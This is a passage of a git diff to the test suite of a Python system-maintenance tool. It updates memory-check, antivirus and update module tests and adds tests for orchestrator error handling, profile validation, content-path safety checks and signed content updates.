description="Did the fix", risk_level=RiskLevel.SAFE, + kind=ActionKind.MUTATION, + executed=True, success=True, ) ], diff --git a/tests/test_module_swap_memory_check.py b/tests/test_module_swap_memory_check.py index 1e578d5..7f641f1 100644 --- a/tests/test_module_swap_memory_check.py +++ b/tests/test_module_swap_memory_check.py @@ -67,40 +67,20 @@ def test_critical_swap_exceeds_ram(self): mod = _get_module() profile = _make_profile(ram_bytes=8 * 1024**3) # 8GB RAM - # Mock vm_stat and swap to have swap > RAM - swap_output = "vm.swapusage: total = 16.0G used = 10.0G free = 6.0G (encrypted)" - vm_stat_output = ( - "Mach Virtual Memory Statistics: (page size of 4096 bytes)\n" - "Pages free: 1000000.\n" - "Pages active: 500000.\n" - "Pages inactive: 300000.\n" - "Pages wired down: 200000.\n" - "Pages compressed: 0.\n" - "Pages pageins: 100000.\n" - "Pages pageouts: 500000.\n" - ) - - with patch.object(mod, "_parse_swap_usage") as mock_swap: - with patch.object(mod, "_parse_vm_stat") as mock_vm: - # Manually set up the info dict for critical condition - def setup_swap(output, info): - info["swap_total_bytes"] = int(16.0 * 1024 * 1024 * 1024) - info["swap_used_bytes"] = int(10.0 * 1024 * 1024 * 1024) - - def setup_vm(output, info): - info["page_size"] = 4096 - info["free_pages"] = 1000000 - info["active_pages"] = 500000 - info["inactive_pages"] = 300000 - info["wired_pages"] = 200000 - info["compressed_pages"] = 0 - info["page_ins"] = 100000 - info["page_outs"] = 500000 - - mock_swap.side_effect = setup_swap - mock_vm.side_effect = setup_vm - - result = mod.check(profile) + memory_info = { + "swap_total_bytes": 16 * 1024**3, + "swap_used_bytes": 10 * 1024**3, + "page_size": 4096, + "free_pages": 1_000_000, + "active_pages": 500_000, + "inactive_pages": 300_000, + "wired_pages": 200_000, + "compressed_pages": 0, + "page_ins": 100_000, + "page_outs": 500_000, + } + with patch.object(mod, "_get_memory_info", return_value=memory_info): + result = mod.check(profile) assert result.has_issues critical_finding = next( diff --git a/tests/test_module_win_antivirus_status.py b/tests/test_module_win_antivirus_status.py index 70143d8..4676e18 100644 --- a/tests/test_module_win_antivirus_status.py +++ b/tests/test_module_win_antivirus_status.py @@ -75,7 +75,7 @@ def test_win_antivirus_status_discovered(): assert mod.name == "win_antivirus_status" assert mod.category == "security" assert Platform.WIN32 in mod.platforms - assert mod.risk_level == RiskLevel.SAFE + assert mod.risk_level == RiskLevel.MODERATE def test_win_antivirus_status_healthy(): diff --git a/tests/test_module_win_updates.py b/tests/test_module_win_updates.py index 417b593..6d2c371 100644 --- a/tests/test_module_win_updates.py +++ b/tests/test_module_win_updates.py @@ -53,7 +53,7 @@ def test_win_updates_discovered(): assert mod.name == "win_updates" assert mod.category == "integrity" assert Platform.WIN32 in mod.platforms - assert mod.risk_level == RiskLevel.SAFE + assert mod.risk_level == RiskLevel.MODERATE def test_win_updates_healthy_when_service_running(): diff --git a/tests/test_orchestrator.py b/tests/test_orchestrator.py index f991891..6a7d3fe 100644 --- a/tests/test_orchestrator.py +++ b/tests/test_orchestrator.py @@ -91,6 +91,18 @@ def fix(self, findings, mode): return FixResult(module_name=self.name) +class BrokenModule(ModuleBase): + name = "broken_mod" + category = "test" + platforms = [Platform.DARWIN] + + def check(self, profile): + raise RuntimeError("unavailable") + + def fix(self, findings, mode): + raise AssertionError("must not run") + + FAKE_PROFILE = SystemProfile( platform=Platform.DARWIN, os_name="macOS", @@ -180,3 +192,15 @@ def test_run_auto(): assert ("safe_mod", True) in names_with_fixes assert ("destructive_mod", False) in names_with_fixes assert ("clean_mod", False) in names_with_fixes + + +def test_run_checks_keeps_running_after_module_error(): + fake_modules = [BrokenModule(), CleanModule()] + with patch("rescue.orchestrator.gather_profile", return_value=FAKE_PROFILE), \ + patch("rescue.orchestrator.discover_modules", return_value=fake_modules), \ + patch("rescue.orchestrator.filter_by_platform", return_value=fake_modules), \ + patch("rescue.orchestrator.topological_sort", return_value=fake_modules): + results = Orchestrator(modules_dir=Path("/fake")).run_checks() + + assert results[0][1].error == "unavailable" + assert results[1][0].name == "clean_mod" diff --git a/tests/test_profiler_linux.py b/tests/test_profiler_linux.py new file mode 100644 index 0000000..aa8de23 --- /dev/null +++ b/tests/test_profiler_linux.py @@ -0,0 +1,17 @@ +from rescue.models import Platform +from rescue.profiler import linux + + +def test_gather_linux_profile_uses_linux_helpers(monkeypatch): + monkeypatch.setattr(linux, "_os_name", lambda: "Test Linux") + monkeypatch.setattr(linux, "_cpu_model", lambda: "Test CPU") + monkeypatch.setattr(linux, "_ram_bytes", lambda: 1024) + monkeypatch.setattr(linux, "_disks", lambda: []) + monkeypatch.setattr(linux, "_processes", lambda: []) + + profile = linux.gather_linux_profile() + + assert profile.platform == Platform.LINUX + assert profile.os_name == "Test Linux" + assert profile.cpu_model == "Test CPU" + assert profile.ram_bytes == 1024 diff --git a/tests/test_profiles.py b/tests/test_profiles.py index fa9ffa5..cccb74e 100644 --- a/tests/test_profiles.py +++ b/tests/test_profiles.py @@ -1,8 +1,17 @@ from pathlib import Path +import pytest + from rescue.models import Platform, RiskLevel from rescue.module_base import ModuleBase -from rescue.profiles import Profile, discover_profiles, filter_modules_by_profile, load_profile +from rescue.profiles import ( + Profile, + ProfileValidationError, + discover_profiles, + filter_modules_by_profile, + load_profile, + validate_profile_modules, +) PROFILE_YAML = """ @@ -132,3 +141,15 @@ def test_filter_modules_by_profile_no_include_list_keeps_all(): result = filter_modules_by_profile(modules, profile) assert len(result) == 3 + + +def test_validate_profile_modules_rejects_missing_references(): + profile = Profile( + name="invalid", + display_name="Invalid", + description="", + include_modules=["mod_a", "missing"], + ) + + with pytest.raises(ProfileValidationError, match="missing"): + validate_profile_modules(profile, [ModA()]) diff --git a/tests/test_runtime.py b/tests/test_runtime.py new file mode 100644 index 0000000..c5d9d27 --- /dev/null +++ b/tests/test_runtime.py @@ -0,0 +1,33 @@ +from rescue import runtime + + +def test_content_file_prefers_applied_content(monkeypatch, tmp_path): + content_root = tmp_path / "content" + (content_root / ".git").mkdir(parents=True) + (content_root / ".git" / "rescue-applied-head").write_text("abc123") + (content_root / "manifest.json").write_text("{}") + data_file = content_root / "modules" / "example.json" + data_file.parent.mkdir() + data_file.write_text("updated") + bundled_root = tmp_path / "bundled" + (bundled_root / "modules").mkdir(parents=True) + (bundled_root / "modules" / "example.json").write_text("bundled") + + monkeypatch.setenv("RESCUE_CONTENT_DIR", str(content_root)) + monkeypatch.setattr(runtime, "bundled_root", lambda: bundled_root) + + assert runtime.content_file("modules/example.json") == data_file + + +def test_content_file_uses_bundled_content_without_applied_marker(monkeypatch, tmp_path): + content_root = tmp_path / "content" + content_root.mkdir() + bundled_root = tmp_path / "bundled" + (bundled_root / "guides").mkdir(parents=True) + bundled_file = bundled_root / "guides" / "phase.md" + bundled_file.write_text("bundled") + + monkeypatch.setenv("RESCUE_CONTENT_DIR", str(content_root)) + monkeypatch.setattr(runtime, "bundled_root", lambda: bundled_root) + + assert runtime.content_file("guides/phase.md") == bundled_file diff --git a/tests/test_starter_content.py b/tests/test_starter_content.py index 2d21fe8..0a0a6a6 100644 --- a/tests/test_starter_content.py +++ b/tests/test_starter_content.py @@ -21,7 +21,7 @@ def test_digital_security_reset_profile_fields(): profile = profiles["digital_security_reset"] assert profile.display_name == "Digital Security Reset" assert profile.guides == ["digital_security_reset"] - assert "password_manager_check" in profile.include_modules + assert "malware_scan_indicators" in profile.include_modules def test_home_for_the_holidays_profile_fields(): @@ -40,7 +40,12 @@ def test_home_for_the_holidays_profile_matches_real_disk_space_module(): matched = filter_modules_by_profile(modules, profile) names = [m.name for m in matched] - assert names == ["disk_space"] + assert set(names) == { + "automatic_updates", + "disk_smart_check", + "disk_space", + "malware_scan_indicators", + } def test_digital_security_reset_guides_all_six_phases(): @@ -53,8 +58,8 @@ def test_digital_security_reset_phase_3_matches_design_spec_example(): phase_3 = next(g for g in guides if g.phase == 3) assert phase_3.title == "Systematic Cleanup" - assert phase_3.automatable_steps == [1, 2, 5] - assert phase_3.human_only_steps == [3, 4, 6] + assert phase_3.automatable_steps == [] + assert phase_3.human_only_steps == [1, 2, 3, 4, 5, 6] assert phase_3.steps[0].title == "Reset your primary email password" diff --git a/tests/tui/test_app.py b/tests/tui/test_app.py index 104e520..7200c51 100644 --- a/tests/tui/test_app.py +++ b/tests/tui/test_app.py @@ -9,6 +9,7 @@ from rescue.tui.screens.findings import FindingsScreen from rescue.tui.screens.fix_result import FixResultScreen from rescue.tui.screens.modules import ModuleListScreen +from rescue.registry import discover_modules def _profile(used_pct: float) -> SystemProfile: @@ -41,26 +42,20 @@ async def test_full_flow_category_to_fix_result(): in modules/performance/disk_space, with a mocked-full-disk profile so it reliably produces a finding.""" modules_dir = Path(__file__).parent.parent.parent / "modules" + disk_space_module = next( + module for module in discover_modules(modules_dir) if module.name == "disk_space" + ) - with patch("rescue.orchestrator.gather_profile", return_value=_profile(0.85)): + with patch("rescue.orchestrator.gather_profile", return_value=_profile(0.85)), \ + patch("rescue.orchestrator.discover_modules", return_value=[disk_space_module]): app = RescueApp(modules_dir=modules_dir) async with app.run_test() as pilot: - # The integrity/update_checker module shells out to the real - # `softwareupdate -l` (and `brew outdated`) commands. Its own - # estimated_duration is "30s", so poll comfortably past that - # worst case rather than assume checks finish instantly. The - # loop breaks as soon as the screen transitions, so a generous - # cap costs nothing in the common (fast) case. - for _ in range(1200): + for _ in range(100): await pilot.pause(0.05) if isinstance(app.screen, CategoryMenuScreen): break assert isinstance(app.screen, CategoryMenuScreen) - # Categories are sorted alphabetically by group_by_category, so - # with the real modules/ tree "performance" is not necessarily - # first (bloatware and integrity sort before it). Find it by id - # rather than assuming a fixed index. category_list = app.screen.query_one("#category-list", OptionList) performance_index = next( i diff --git a/tests/tui/test_fix_result_screen.py b/tests/tui/test_fix_result_screen.py index c4492f3..41589f9 100644 --- a/tests/tui/test_fix_result_screen.py +++ b/tests/tui/test_fix_result_screen.py @@ -1,7 +1,7 @@ from textual.app import App from textual.widgets import Static -from rescue.models import Action, CheckResult, FixResult, Platform, RiskLevel +from rescue.models import Action, ActionKind, CheckResult, FixResult, Platform, RiskLevel from rescue.module_base import ModuleBase from rescue.tui.screens.fix_result import FixResultScreen, format_action_line from rescue.tui.screens.guide_placeholder import GuidePlaceholderScreen @@ -27,6 +27,8 @@ def _make_fix(success: bool): title="Reported disk usage", description="Informational", risk_level=RiskLevel.SAFE, + kind=ActionKind.MUTATION, + executed=True, success=success, error=None if success else "boom", ) diff --git a/tests/update/test_engine.py b/tests/update/test_engine.py index 2a03fac..8c78943 100644 --- a/tests/update/test_engine.py +++ b/tests/update/test_engine.py @@ -2,7 +2,7 @@ import pytest -from rescue.security.signers import TrustedSigner, TrustedSignerSet +from rescue.security.signers import TrustConfigurationError, TrustedSigner, TrustedSignerSet from rescue.update.config import ContentRepoConfig from rescue.update.engine import UpdateEngine, UpdateResult from rescue.update.repo import CommitInfo @@ -135,6 +135,10 @@ def test_apply_dry_run_does_not_checkout(tmp_path): def test_apply_checks_out_target_commit(tmp_path): repo = MagicMock() + repo.read_file_at.return_value = ( + b'{"content_version": "2026.07.10-1", "updated_at": "t", "modules": [], "guides": []}' + ) + repo.list_files_at.return_value = ["manifest.json"] engine = UpdateEngine(_config(tmp_path), repo=repo, trusted_signers=_trusted()) target = UpdateResult(status="available", old_commit="old111", new_commit="new222", commits=[]) @@ -151,3 +155,13 @@ def test_apply_raises_if_target_not_available(tmp_path): with pytest.raises(ValueError): engine.apply(target) + + +def test_default_trust_configuration_rejects_placeholder_keys(tmp_path): + config = _config(tmp_path) + config.trusted_signers_path.write_text( + '{"signers": [{"signer_id": "a", "key_id": "REPLACE_WITH_KEY", "public_key": "REPLACE_WITH_KEY"}]}' + ) + + with pytest.raises(TrustConfigurationError): + UpdateEngine(config, repo=MagicMock()) diff --git a/tests/update/test_manifest.py b/tests/update/test_manifest.py index 66c4389..5ba00c4 100644 --- a/tests/update/test_manifest.py +++ b/tests/update/test_manifest.py @@ -2,7 +2,7 @@ import pytest -from rescue.update.manifest import ManifestError, load_content_manifest +from rescue.update.manifest import ManifestError, load_content_manifest, validate_content_paths def test_load_content_manifest_parses_fields(tmp_path): @@ -35,3 +35,9 @@ def test_load_content_manifest_missing_required_key_raises(tmp_path): (tmp_path / "manifest.json").write_text(json.dumps({"content_version": "1.0"})) with pytest.raises(ManifestError, match="updated_at"): load_content_manifest(tmp_path) + + +@pytest.mark.parametrize("path", ["modules/unsafe.py", "../modules/list.json", "other/data.json"]) +def test_validate_content_paths_rejects_unsafe_content(path): + with pytest.raises(ManifestError): + validate_content_paths([path]) diff --git a/tests/update/test_verify.py b/tests/update/test_verify.py index d2ac1d1..3b4a206 100644 --- a/tests/update/test_verify.py +++ b/tests/update/test_verify.py @@ -204,17 +204,23 @@ def test_verification_succeeds_without_the_signing_key_in_the_ambient_keyring( "Name-Real: Test Maintainer\nName-Email: maintainer@example.com\n" "Expire-Date: 0\n%commit\n" ) - subprocess.run( + generate_result = subprocess.run( ["gpg", "--homedir", signing_gnupghome, "--batch", "--generate-key", str(params_file)], capture_output=True, text=True, ) + if generate_result.returncode != 0: + pytest.skip(f"GPG key generation is unavailable: {generate_result.stderr.strip()}") list_out = subprocess.run( ["gpg", "--homedir", signing_gnupghome, "--list-secret-keys", "--keyid-format=long"], capture_output=True, text=True, ).stdout - key_id = next( - line for line in list_out.splitlines() if line.strip().startswith("sec") - ).split("/")[1].split()[0] + secret_key_line = next( + (line for line in list_out.splitlines() if line.strip().startswith("sec")), + None, + ) + if secret_key_line is None: + pytest.skip("GPG did not expose the generated test key") + key_id = secret_key_line.split("/")[1].split()[0] armored_public_key = subprocess.run( ["gpg", "--homedir", signing_gnupghome, "--armor", "--export", key_id], capture_output=True, text=True,